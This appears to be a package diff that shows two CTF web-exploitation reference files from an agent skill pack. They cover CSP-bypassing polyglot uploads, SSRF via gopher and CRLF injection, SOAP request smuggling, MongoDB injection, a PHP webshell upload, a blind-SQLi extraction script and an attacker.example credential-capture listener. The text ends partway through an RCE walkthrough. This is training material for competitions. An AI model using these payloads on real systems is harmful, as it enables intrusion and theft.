ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,125 @@
1
+ # CTF Web - Advanced Server-Side Techniques (Part 3)
2
+
3
+ CVE-era and 2018-era advanced server-side techniques (CSAW, 35C3, ASIS, PlaidCTF). For parts 1-2, see [server-side-advanced.md](server-side-advanced.md) and [server-side-advanced-2.md](server-side-advanced-2.md).
4
+
5
+ ## Table of Contents
6
+ - [WAV Polyglot Upload Bypass via .wave Extension (PlaidCTF 2018)](#wav-polyglot-upload-bypass-via-wave-extension-plaidctf-2018)
7
+ - [Multi-Slash URL Parser `path.startswith` Bypass (CSAW 2018 Finals)](#multi-slash-url-parser-pathstartswith-bypass-csaw-2018-finals)
8
+ - [Xalan XSLT math:random() Seed Guess (35C3 2018)](#xalan-xslt-mathrandom-seed-guess-35c3-2018)
9
+ - [SoapClient _user_agent CRLF Method Smuggling (35C3 2018)](#soapclient-_user_agent-crlf-method-smuggling-35c3-2018)
10
+ - [`gopher://` No-Host URL Scheme Bypass (35C3 2018)](#gopher-no-host-url-scheme-bypass-35c3-2018)
11
+ - [SSRF Credential Leak via Attacker-Specified Outbound URL (ASIS Finals 2018)](#ssrf-credential-leak-via-attacker-specified-outbound-url-asis-finals-2018)
12
+
13
+ ---
14
+
15
+ ---
16
+
17
+ ## WAV Polyglot Upload Bypass via .wave Extension (PlaidCTF 2018)
18
+
19
+ **Pattern (idIoT: Action):** Site accepts `ogg/wav/wave/webm/mp3` uploads and validates by parsing the RIFF/WAVE header. CSP is `script-src 'self'`, so inline XSS fails, but a same-origin `<script src=...>` to an uploaded file would run. Browsers refuse to load responses whose Content-Type starts with `audio/`, yet Apache on many distros has no MIME mapping for the `.wave` extension and serves it as the default (usually `application/octet-stream` or with no `Content-Type`).
20
+
21
+ **Exploit build:**
22
+ 1. Construct a file whose first bytes parse as a valid RIFF/WAVE container but whose `data` chunk contents open a JavaScript block comment and embed the payload.
23
+ 2. Save with extension `.wave` (not `.wav`) so Apache does not label it as audio.
24
+ 3. Inject `<script src="/uploads/evil.wave"></script>` via the existing XSS sink — the browser now executes the script from a same-origin URL, satisfying `script-src 'self'`.
25
+
26
+ ```text
27
+ RIFF=1/*WAVEfmt ..........]................LIST....INFO
28
+ ISFT....Lavf57.83.100.data........................
29
+ ........*/ ; alert(1);
30
+ ```
31
+ Hex view (truncated): the first 4 bytes `52 49 46 46` still form `RIFF`; the quirky length field `3d 31 2f 2a` (`=1/*`) is valid for WAV parsers but also opens a JS comment that runs until the `*/ ;alert(1);` tail at the end of the `data` chunk.
32
+
33
+ **Key insight:** File-upload filters that only check magic bytes or MIME based on extension are defeated by any extension the web server has no explicit mapping for. Test each permitted extension against the server's MIME database (`mime.types`) — whichever one falls through to `application/octet-stream` becomes a script gadget under `script-src 'self'`. Fix by enforcing a strict response `Content-Type` for user uploads (e.g., `application/octet-stream` + `Content-Disposition: attachment`).
34
+
35
+ **References:** PlaidCTF 2018 — writeup 10018
36
+
37
+ ---
38
+
39
+ ## Multi-Slash URL Parser `path.startswith` Bypass (CSAW 2018 Finals)
40
+
41
+ **Pattern:** Server code rejects URLs whose parsed path starts with `/flaginfo`, but most HTTP stacks resolve consecutive slashes equivalently. Adding one extra slash shifts the parsed path to `//flaginfo`, breaking `startswith("/flaginfo")` while still routing to the real endpoint.
42
+
43
+ ```text
44
+ # Filtered
45
+ http://127.0.0.1:5000/flaginfo
46
+ # Allowed
47
+ http://127.0.0.1:5000///flaginfo
48
+ ```
49
+
50
+ **Key insight:** Filters that check the parsed URL differ from the resolver that ultimately routes the request. Always test `///`, `/./`, `%2f`, and `http:/127.0.0.1` permutations when the filter is a string-comparison, not a structural match.
51
+
52
+ **References:** CSAW 2018 Finals — NekoCat, writeups 12130, 12144
53
+
54
+ ---
55
+
56
+ ## Xalan XSLT math:random() Seed Guess (35C3 2018)
57
+
58
+ **Pattern:** Xalan's `math:random()` extension uses C `srand(time(NULL))`. The challenge leaks 5 consecutive random values; brute-force 3 consecutive seeds (`t-1`, `t`, `t+1`) with libc `rand()` to find the one matching the leak, then predict the next value.
59
+
60
+ ```c
61
+ for (long base = time(NULL) - 1; base <= time(NULL) + 1; base++) {
62
+ srand(base);
63
+ for (int j = 0; j < 5; j++) {
64
+ long long v = llround((double)rand() / RAND_MAX * 4294967296.0);
65
+ /* compare with leaked values */
66
+ }
67
+ }
68
+ ```
69
+
70
+ **Key insight:** Any XSLT engine that exposes math extensions usually proxies straight to libc rand/srand; seeds are second-granularity time values and fall to a 3-value brute force.
71
+
72
+ **References:** 35C3 CTF 2018 — Juggle, writeup 12803
73
+
74
+ ---
75
+
76
+ ## SoapClient _user_agent CRLF Method Smuggling (35C3 2018)
77
+
78
+ **Pattern:** PHP's `SoapClient` lets user code set the `_user_agent` property. That string is interpolated into the HTTP request without CRLF filtering, so injecting `\r\n\r\n` followed by a full HTTP request smuggles a *second* request out of the same TCP connection — turning a POST-only primitive into a GET (or any other method) hitting a localhost-restricted admin endpoint.
79
+
80
+ ```php
81
+ $c = new SoapClient(null, [
82
+ 'location' => 'http://target/soap',
83
+ 'uri' => 'x',
84
+ 'user_agent' => "x\r\nX-Forwarded-For: 127.0.0.1\r\n\r\nGET /admin HTTP/1.1\r\nHost: target\r\n\r\n"
85
+ ]);
86
+ $c->__soapCall('x', []);
87
+ ```
88
+
89
+ **Key insight:** Any serialization gadget that lets you set a "magic" HTTP header string in a deserialized object becomes an HTTP smuggler. `SoapClient->_user_agent` and `SoapClient->_cookies` are the typical PHP gadgets for this.
90
+
91
+ **References:** 35C3 CTF 2018 — post, writeup 12808
92
+
93
+ ---
94
+
95
+ ## `gopher://` No-Host URL Scheme Bypass (35C3 2018)
96
+
97
+ **Pattern:** An allowlist validator only enforces the scheme check when the URL has a host (`parsed.scheme in ('http','https') if parsed.host`). `gopher:///host:port/data` leaves the host empty in some parsers, skipping the check entirely, so the request backend uses gopher to talk to any TCP service — MSSQL, Redis, SMTP.
98
+
99
+ ```text
100
+ gopher:///127.0.0.1:1433/_<raw TDS bytes>
101
+ ```
102
+
103
+ **Key insight:** Always test every URL scheme against the validator both with and without `//host` because parser/validator mismatches are asymmetric. `gopher:///x`, `file:///x`, and `jar:file:///x` are the common scheme bypasses.
104
+
105
+ **References:** 35C3 CTF 2018 — post, writeup 12808
106
+
107
+ ---
108
+
109
+ ## SSRF Credential Leak via Attacker-Specified Outbound URL (ASIS Finals 2018)
110
+
111
+ **Pattern:** Server fetches resources from a user-controlled URL and attaches its own HTTP Basic credentials to the request. Point the URL at an attacker-controlled host; the inbound request arrives with `Authorization: Basic <base64(user:pass)>`.
112
+
113
+ ```http
114
+ # Listener (attacker side)
115
+ nc -lvnp 80
116
+
117
+ # Victim sends:
118
+ GET / HTTP/1.1
119
+ Host: attacker.example
120
+ Authorization: Basic YmlnYnJvdGhlcjo0UWozcmM0WmhOUUt2N1J6
121
+ ```
122
+
123
+ **Key insight:** Any SSRF where the client library uses per-request credentials (`requests.auth`, `urllib3 auth_header`, Python `http.client` default credentials) leaks them if the attacker picks the target URL. Strip `Authorization` on redirects and never attach credentials by default.
124
+
125
+ **References:** ASIS CTF Finals 2018 — Gunshop 2, writeup 12420
@@ -0,0 +1,480 @@
1
+ # Server-Side Advanced Techniques (Part 4)
2
+
3
+ ## Table of Contents
4
+ - [WeasyPrint SSRF & File Read (CVE-2024-28184, Nullcon 2026)](#weasyprint-ssrf--file-read-cve-2024-28184-nullcon-2026)
5
+ - [Variant 1: Blind SSRF via Attachment Oracle](#variant-1-blind-ssrf-via-attachment-oracle)
6
+ - [Variant 2: Local File Read via file:// Attachment](#variant-2-local-file-read-via-file-attachment)
7
+ - [MongoDB Regex Injection / $where Blind Oracle (Nullcon 2026)](#mongodb-regex-injection--where-blind-oracle-nullcon-2026)
8
+ - [Pongo2 / Go Template Injection via Path Traversal (Nullcon 2026)](#pongo2--go-template-injection-via-path-traversal-nullcon-2026)
9
+ - [ZIP Upload with PHP Webshell (Nullcon 2026)](#zip-upload-with-php-webshell-nullcon-2026)
10
+ - [basename() Bypass for Hidden Files (Nullcon 2026)](#basename-bypass-for-hidden-files-nullcon-2026)
11
+ - [wget CRLF Injection for SSRF-to-SMTP (SECCON 2017)](#wget-crlf-injection-for-ssrf-to-smtp-seccon-2017)
12
+ - [Gopher SSRF to MySQL Blind SQLi (34C3 CTF 2017, AceBear 2018)](#gopher-ssrf-to-mysql-blind-sqli-34c3-ctf-2017-acebear-2018)
13
+ - [React Server Components Flight Protocol RCE (Ehax 2026)](#react-server-components-flight-protocol-rce-ehax-2026)
14
+ - [Step 1 — Identify RSC via HTTP headers](#step-1--identify-rsc-via-http-headers)
15
+ - [Step 2 — Exploit Flight deserialization for RCE](#step-2--exploit-flight-deserialization-for-rce)
16
+ - [Step 3 — Exfiltrate data via NEXT_REDIRECT](#step-3--exfiltrate-data-via-next_redirect)
17
+ - [Step 4 — Bypass WAF keyword filters](#step-4--bypass-waf-keyword-filters)
18
+ - [Step 5 — Post-RCE enumeration](#step-5--post-rce-enumeration)
19
+ - [Step 6 — Lateral movement to internal services](#step-6--lateral-movement-to-internal-services)
20
+ - [AMQP/TLS Interception via sslsplit + arpspoof (TAMUctf 2019)](#amqptls-interception-via-sslsplit--arpspoof-tamuctf-2019)
21
+ - [CairoSVG XXE via Oversized width= (BSidesSF 2019)](#cairosvg-xxe-via-oversized-width-bsidessf-2019)
22
+ - [Bazaar (.bzr) Repository Reconstruction via bzr check Loop (STEM CTF 2019)](#bazaar-bzr-repository-reconstruction-via-bzr-check-loop-stem-ctf-2019)
23
+
24
+ See also: [server-side-advanced.md](server-side-advanced.md) for Part 1 (ExifTool DjVu, Go rune/byte, ZIP symlink, path traversal bypasses, Nginx alias, Unicode homoglyph, Ruby Regexp.escape, /dev/fd, Flask/Werkzeug debug, XXE DTD filter bypass, %2f bypass). See also: [server-side-advanced-2.md](server-side-advanced-2.md) for Part 2. See also: [server-side-advanced-3.md](server-side-advanced-3.md) for Part 3.
25
+
26
+ ---
27
+
28
+ ## WeasyPrint SSRF & File Read (CVE-2024-28184, Nullcon 2026)
29
+
30
+ **Pattern (Web 2 Doc 1/2):** App converts user-supplied URL to PDF using WeasyPrint. Attachment fetches bypass internal header checks and can read local files.
31
+
32
+ ### Variant 1: Blind SSRF via Attachment Oracle
33
+ WeasyPrint `<a rel="attachment" href="...">` fetches the URL in a separate codepath without `X-Fetcher` or similar internal headers. If the target is localhost-only, the attachment fetch succeeds from localhost.
34
+
35
+ **Boolean oracle:** Embedded file appears in PDF only when target returns HTTP 200:
36
+ ```python
37
+ # Check for embedded attachment in PDF
38
+ def has_attachment(pdf_bytes):
39
+ return b"/Type /EmbeddedFile" in pdf_bytes
40
+
41
+ # Blind extraction via charCodeAt oracle
42
+ for i in range(flag_len):
43
+ for ch in charset:
44
+ html = f'<a rel="attachment" href="http://127.0.0.1:5000/admin/flag?i={i}&c={ch}">A</a>'
45
+ pdf = convert_url_to_pdf(host_html(html))
46
+ if has_attachment(pdf):
47
+ flag += ch; break
48
+ ```
49
+
50
+ ### Variant 2: Local File Read via file:// Attachment
51
+ ```html
52
+ <!-- Host this HTML, submit URL to converter -->
53
+ <link rel="attachment" href="file:///flag.txt">
54
+ ```
55
+ **Extract:** `pdfdetach -save 1 -o flag.txt output.pdf`
56
+
57
+ **Key insight:** WeasyPrint processes `<link rel="attachment">` and `<a rel="attachment">` -- both can reference `file://` or internal URLs. The attachment is embedded in the PDF as a file stream.
58
+
59
+ ---
60
+
61
+ ## MongoDB Regex Injection / $where Blind Oracle (Nullcon 2026)
62
+
63
+ **Pattern (CVE DB):** Search input interpolated into `/.../i` regex in MongoDB query. Break out of regex to inject arbitrary JS conditions.
64
+
65
+ **Injection payload:**
66
+ ```text
67
+ a^/)||(<JS_CONDITION>)&&(/a^
68
+ ```
69
+ This breaks the regex context and injects a boolean condition. Result count reveals truth value.
70
+
71
+ **Binary search extraction:**
72
+ ```python
73
+ def oracle(condition):
74
+ # Inject into regex context
75
+ payload = f"a^/)||(({condition}))&&(/a^"
76
+ html = post_search(payload)
77
+ return parse_result_count(html) > 0
78
+
79
+ # Find flag length
80
+ lo, hi = 1, 256
81
+ while lo < hi:
82
+ mid = (lo + hi + 1) // 2
83
+ if oracle(f"this.product.length>{mid}"): lo = mid
84
+ else: hi = mid - 1
85
+ length = lo + 1
86
+
87
+ # Extract each character
88
+ for i in range(length):
89
+ l, h = 31, 126
90
+ while l < h:
91
+ m = (l + h + 1) // 2
92
+ if oracle(f"this.product.charCodeAt({i})>{m}"): l = m
93
+ else: h = m - 1
94
+ flag += chr(l + 1)
95
+ ```
96
+
97
+ **Detection:** Unsanitized input in MongoDB `$regex` or `$where`. Test with `a/)||true&&(/a` vs `a/)||false&&(/a` -- different result counts confirm injection.
98
+
99
+ ---
100
+
101
+ ## Pongo2 / Go Template Injection via Path Traversal (Nullcon 2026)
102
+
103
+ **Pattern (WordPress Static Site Generator):** Go app renders templates with Pongo2. Template parameter has path traversal allowing rendering of uploaded files.
104
+
105
+ **Attack chain:**
106
+ 1. Upload file containing: `{% include "/flag.txt" %}`
107
+ 2. Get upload ID from session cookie (base64 decode, extract hex ID)
108
+ 3. Request render with traversal: `/generate?template=../uploads/<id>/pwn`
109
+
110
+ **Pongo2 SSTI payloads:**
111
+ ```text
112
+ {% include "/etc/passwd" %}
113
+ {% include "/flag.txt" %}
114
+ {{ "test" | upper }}
115
+ ```
116
+
117
+ **Detection:** Go web app with template rendering + file upload. Check for `pongo2`, `jet`, or standard `html/template` in source.
118
+
119
+ ---
120
+
121
+ ## ZIP Upload with PHP Webshell (Nullcon 2026)
122
+
123
+ **Pattern (virus_analyzer):** App accepts ZIP uploads, extracts to web-accessible directory, serves extracted files.
124
+
125
+ **Exploit:**
126
+ ```bash
127
+ # Create PHP webshell
128
+ echo '<?php echo file_get_contents("/flag.txt"); ?>' > shell.php
129
+ zip payload.zip shell.php
130
+ curl -F 'zipfile=@payload.zip' http://target/
131
+ # Access: http://target/uploads/<id>/shell.php
132
+ ```
133
+
134
+ **Variants:**
135
+ - If `system()` blocked ("Cannot fork"), use `file_get_contents()` or `readfile()`
136
+ - If `.php` blocked, try `.phtml`, `.php5`, `.phar`, or upload `.htaccess` first
137
+ - Race condition: file may be deleted after extraction -- access immediately
138
+
139
+ ---
140
+
141
+ ## basename() Bypass for Hidden Files (Nullcon 2026)
142
+
143
+ **Pattern (Flowt Theory 2):** App uses `basename()` to prevent path traversal in file viewer, but it only strips directory components. Hidden/dot files in the same directory are still accessible.
144
+
145
+ **Exploit:**
146
+ ```bash
147
+ # basename() allows .lock, .htaccess, etc.
148
+ curl "http://target/?view_receipt=.lock"
149
+ # .lock reveals secret filename
150
+ curl "http://target/?view_receipt=secret_XXXXXXXX"
151
+ ```
152
+
153
+ **Key insight:** `basename()` is NOT a security function -- it only extracts the filename component. It doesn't filter hidden files (`.foo`), backup files (`file~`), or any filename without directory separators.
154
+
155
+ ---
156
+
157
+ ## wget CRLF Injection for SSRF-to-SMTP (SECCON 2017)
158
+
159
+ **Pattern:** wget versions before 1.17.1 (notably 1.14, common on CentOS 7) do not sanitize CRLF characters (`%0d%0a`) in the HTTP Host header. When an SSRF allows controlling the URL that wget fetches, CRLF injection into the hostname allows injecting arbitrary protocol commands. Targeting an internal SMTP server on port 25 enables sending arbitrary emails.
160
+
161
+ ```text
162
+ # CRLF-injected URL targeting internal SMTP on port 25:
163
+ # Key: the port :25/ must come at the END to avoid "Bad port number" errors
164
+ http://127.0.0.1%0D%0AHELO%20x%0D%0AMAIL%20FROM%3A%3Cattacker%40x.com%3E%0D%0ARCPT%20TO%3A%3Croot%3E%0D%0ADATA%0D%0ASubject%3A%20give%20me%20flag%0D%0Aabc%0D%0A.%0D%0A:25/
165
+ ```
166
+
167
+ ```python
168
+ import requests
169
+ import urllib.parse
170
+
171
+ # Build the CRLF-injected SMTP conversation
172
+ smtp_commands = "\r\n".join([
173
+ "HELO x",
174
+ "MAIL FROM:<attacker@x.com>",
175
+ "RCPT TO:<root>",
176
+ "DATA",
177
+ "Subject: give me flag",
178
+ "",
179
+ "Send me the flag please",
180
+ ".",
181
+ ])
182
+
183
+ # URL-encode the SMTP commands for injection into the hostname
184
+ encoded = urllib.parse.quote(smtp_commands, safe='')
185
+
186
+ # Port must be at the end to avoid wget "Bad port number" error
187
+ ssrf_url = f"http://127.0.0.1{encoded}:25/"
188
+
189
+ # Trigger the SSRF
190
+ requests.post("http://target/fetch", data={"url": ssrf_url})
191
+ # wget connects to 127.0.0.1:25 and sends the SMTP commands as part of the HTTP request
192
+ # The SMTP server processes the injected commands and delivers the email
193
+ ```
194
+
195
+ **Key insight:** wget before 1.17.1 did not sanitize CRLF in the Host header. When SSRF reaches an internal SMTP service, CRLF injection enables sending arbitrary emails. Place the port at the END of the injected string to avoid "Bad port number" errors. This technique extends to any line-based protocol accessible via SSRF (FTP, Redis, memcached). See also [server-side.md](server-side.md#ssrf) for other SSRF techniques.
196
+
197
+ ---
198
+
199
+ ## Gopher SSRF to MySQL Blind SQLi (34C3 CTF 2017, AceBear 2018)
200
+
201
+ **Pattern:** When SSRF allows the `gopher://` protocol, craft raw MySQL protocol packets to communicate with a local MySQL instance that uses passwordless authentication (common in CTF setups). Combine with time-based blind SQLi via `SLEEP()` to extract data.
202
+
203
+ ```python
204
+ import urllib.parse
205
+ import requests
206
+ import time
207
+
208
+ # Step 1: Capture a real MySQL session with tcpdump
209
+ # tcpdump -i lo port 3306 -w mysql.pcap
210
+ # Connect to MySQL normally: mysql -u root
211
+ # Execute a simple query, then disconnect
212
+ # Extract the client auth packet and query packet bytes from the pcap
213
+
214
+ # Step 2: Build the gopher payload
215
+ # MySQL auth packet (handshake response) - extract from pcap
216
+ auth_packet = bytearray([
217
+ 0x48, 0x00, 0x00, 0x01, # packet length + sequence
218
+ 0x85, 0xa6, 0x03, 0x00, # client capabilities
219
+ # ... remaining auth packet bytes from tcpdump capture
220
+ ])
221
+
222
+ # MySQL query packet
223
+ def build_query_packet(sql):
224
+ payload = b'\x03' + sql.encode() # 0x03 = COM_QUERY
225
+ length = len(payload)
226
+ # MySQL packet: 3-byte length (little-endian) + 1-byte sequence number
227
+ header = length.to_bytes(3, 'little') + b'\x00'
228
+ return header + payload
229
+
230
+ # Step 3: Time-based blind extraction
231
+ flag = ""
232
+ for pos in range(1, 50):
233
+ for char in "abcdefghijklmnopqrstuvwxyz0123456789_{}-":
234
+ query = f"SELECT IF(SUBSTRING((SELECT flag FROM secrets LIMIT 1),{pos},1)='{char}',SLEEP(3),0)"
235
+ query_packet = build_query_packet(query)
236
+
237
+ # Combine auth + query, URL-encode for gopher
238
+ raw_data = bytes(auth_packet) + bytes(query_packet)
239
+ encoded = urllib.parse.quote(raw_data, safe='')
240
+
241
+ # Double-encode if the SSRF handler URL-decodes once
242
+ double_encoded = urllib.parse.quote(encoded, safe='')
243
+
244
+ gopher_url = f"gopher://127.0.0.1:3306/_{double_encoded}"
245
+
246
+ start = time.time()
247
+ requests.get("http://target/fetch", params={"url": gopher_url})
248
+ elapsed = time.time() - start
249
+
250
+ if elapsed > 3.0:
251
+ flag += char
252
+ print(f"Flag so far: {flag}")
253
+ break
254
+
255
+ print(f"Final flag: {flag}")
256
+ ```
257
+
258
+ **Key insight:** `gopher://` sends raw TCP data, enabling communication with any TCP service. Capture a legitimate MySQL session with `tcpdump`, then replay the auth + query bytes via gopher. Use passwordless MySQL accounts (common in CTF setups). Double-URL-encode the payload when the SSRF handler URL-decodes once. This technique also works against PostgreSQL, Redis, and other TCP services accessible from the SSRF context. See also [sql-injection.md](sql-injection.md) for SQL injection techniques.
259
+
260
+ ---
261
+
262
+ ## React Server Components Flight Protocol RCE (Ehax 2026)
263
+
264
+ **Pattern (Flight Risk):** Next.js app using React Server Components (RSC). The Flight protocol deserializes client-sent objects on the server. A crafted fake Flight chunk exploits the constructor chain (`constructor → constructor → Function`) for arbitrary code execution (CVE-2025-55182).
265
+
266
+ ### Step 1 — Identify RSC via HTTP headers
267
+
268
+ Intercept form submissions in the Network tab. RSC-specific headers:
269
+ ```http
270
+ POST / HTTP/1.1
271
+ Next-Action: 7fc5b26191e27c53f8a74e83e3ab54f48edd0dbd
272
+ Accept: text/x-component
273
+ Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D
274
+ Content-Type: multipart/form-data; boundary=----x
275
+ ```
276
+
277
+ Confirm the server function name in client JS bundles:
278
+ ```javascript
279
+ createServerReference("7fc5b26191e27c53f8a74e83e3ab54f48edd0dbd", callServer, void 0, findSourceMapURL, "greetUser")
280
+ ```
281
+
282
+ ### Step 2 — Exploit Flight deserialization for RCE
283
+
284
+ Craft a fake Flight chunk in the multipart form body. The `_prefix` field contains the payload. The constructor chain (`constructor → constructor → Function`) enables arbitrary JavaScript execution on the server.
285
+
286
+ Request structure:
287
+ ```http
288
+ POST / HTTP/1.1
289
+ Host: target
290
+ Next-Action: <action_hash>
291
+ Accept: text/x-component
292
+ Content-Type: multipart/form-data; boundary=----x
293
+
294
+ ------x
295
+ Content-Disposition: form-data; name="0"
296
+
297
